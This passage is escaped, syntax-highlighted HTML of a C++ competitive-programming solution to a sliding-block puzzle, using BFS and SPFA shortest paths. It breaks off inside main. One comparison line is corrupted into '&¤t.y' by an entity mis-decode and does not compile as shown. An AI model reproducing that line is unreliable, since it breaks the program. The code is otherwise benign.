class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e144\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e145\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e146\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e147\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e148\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e149\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e150\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e151\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e152\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e153\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e154\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e155\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;list\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;queue\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e SIZE 31\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e map[SIZE][SIZE];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e SizeX, SizeY;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e EmptyX, EmptyY;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e StartX, StartY;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e TargX, TargY;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e gamePlays;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eGraph\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e MAXNODE = \u003cspan class=\"number\"\u003e10000\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eEdge\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dest, weight;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eEdge\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e d, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e w) :\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edest\u003c/span\u003e(d), \u003cspan class=\"built_in\"\u003eweight\u003c/span\u003e(w) \u0026#123;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e list\u0026lt;Edge\u0026gt;map[MAXNODE];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eSPFA\u003c/span\u003e :\u003c/span\u003e\u003cspan class=\"keyword\"\u003eprivate\u003c/span\u003e Graph \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dis[MAXNODE];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e visited[MAXNODE];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e queue\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;joblist;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eclear\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(dis, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e dis);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(visited, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e visited);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!joblist.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e())joblist.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003ework\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!joblist.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e()) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current = joblist.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e visited[current] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e list\u0026lt;Edge\u0026gt;::iterator i = map[current].\u003cspan class=\"built_in\"\u003ebegin\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (; i != map[current].\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e(); i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (dis[i-\u0026gt;dest] \u0026gt; dis[current] + i-\u0026gt;weight) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e dis[i-\u0026gt;dest] = dis[current] + i-\u0026gt;weight;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!visited[i-\u0026gt;dest]) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(i-\u0026gt;dest);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e visited[i-\u0026gt;dest] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003econnect\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e b, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e w)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e map[a].\u003cspan class=\"built_in\"\u003epush_front\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eEdge\u003c/span\u003e(b, w));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003epoint\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, y, step;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e s) :\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ex\u003c/span\u003e(x), \u003cspan class=\"built_in\"\u003ey\u003c/span\u003e(y), \u003cspan class=\"built_in\"\u003estep\u003c/span\u003e(s) \u0026#123;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e visited[SIZE][SIZE];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dx[\u003cspan class=\"number\"\u003e4\u003c/span\u003e] = \u0026#123; \u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e-1\u003c/span\u003e,\u003cspan class=\"number\"\u003e0\u003c/span\u003e,\u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dy[\u003cspan class=\"number\"\u003e4\u003c/span\u003e] = \u0026#123; \u003cspan class=\"number\"\u003e0\u003c/span\u003e,\u003cspan class=\"number\"\u003e0\u003c/span\u003e,\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e-1\u003c/span\u003e \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003epriceToMoveTo\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e StartX, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e StartY, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e EndX, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e EndY, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e BlankX, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e BlankY)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003cspan class=\"comment\"\u003e//bfs\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e queue\u0026lt;point\u0026gt;joblist;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (StartX == EndX\u0026amp;\u0026amp;StartY == EndY)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(StartX, StartY, \u003cspan class=\"number\"\u003e0\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(visited, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e visited);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e visited[StartX][StartY] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!joblist.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e()) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e point current = joblist.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (current.x == EndX\u0026amp;¤t.y == EndY)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e current.step;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/*ille*/\u003c/span\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (visited[current.x + dx[i]][current.y + dy[i]])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/*fixed*/\u003c/span\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!map[current.x + dx[i]][current.y + dy[i]])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/*blank*/\u003c/span\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (current.x + dx[i] == BlankX \u0026amp;\u0026amp; current.y + dy[i] == BlankY)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e visited[current.x + dx[i]][current.y + dy[i]] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e joblist.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(\u003cspan class=\"built_in\"\u003epoint\u003c/span\u003e(current.x + dx[i], current.y + dy[i], current.step + \u003cspan class=\"number\"\u003e1\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e16843009\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e id[SIZE][SIZE][\u003cspan class=\"number\"\u003e4\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eRenewID\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e temp = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= SizeY; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt;= SizeX; j++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; k \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; k++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (map[i][j] \u0026amp;\u0026amp; map[i + dx[k]][j + dy[k]])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e id[i][j][k] = temp++;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003ereadMap\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; SizeY \u0026gt;\u0026gt; SizeX \u0026gt;\u0026gt; gamePlays;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= SizeY; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt;= SizeX; j++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; map[i][j];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ereadMap\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e SPFA instG;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eRenewID\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= SizeY; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt;= SizeX; j++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; k \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; k++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id[i][j][k])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e instG.\u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e id[i][j][k],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e id[i + dx[k]][j + dy[k]][k ^ \u003cspan class=\"number\"\u003e1\u003c/span\u003e],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; a \u0026lt;= SizeY; a++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e b = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; b \u0026lt;= SizeX; b++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; j++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i == j)\u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!id[a][b][i] || !id[a][b][j])\u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e instG.\u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e id[a][b][i],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e id[a][b][j],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epriceToMoveTo\u003c/span\u003e(a + dx[i], b + dy[i], a + dx[j], b + dy[j], a, b)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e );\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (gamePlays--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; EmptyX \u0026gt;\u0026gt; EmptyY \u0026gt;\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e StartX \u0026gt;\u0026gt; StartY \u0026gt;\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e TargX \u0026gt;\u0026gt; TargY;\u003c/span\u003e\u003cbr\u003e\u003cspan 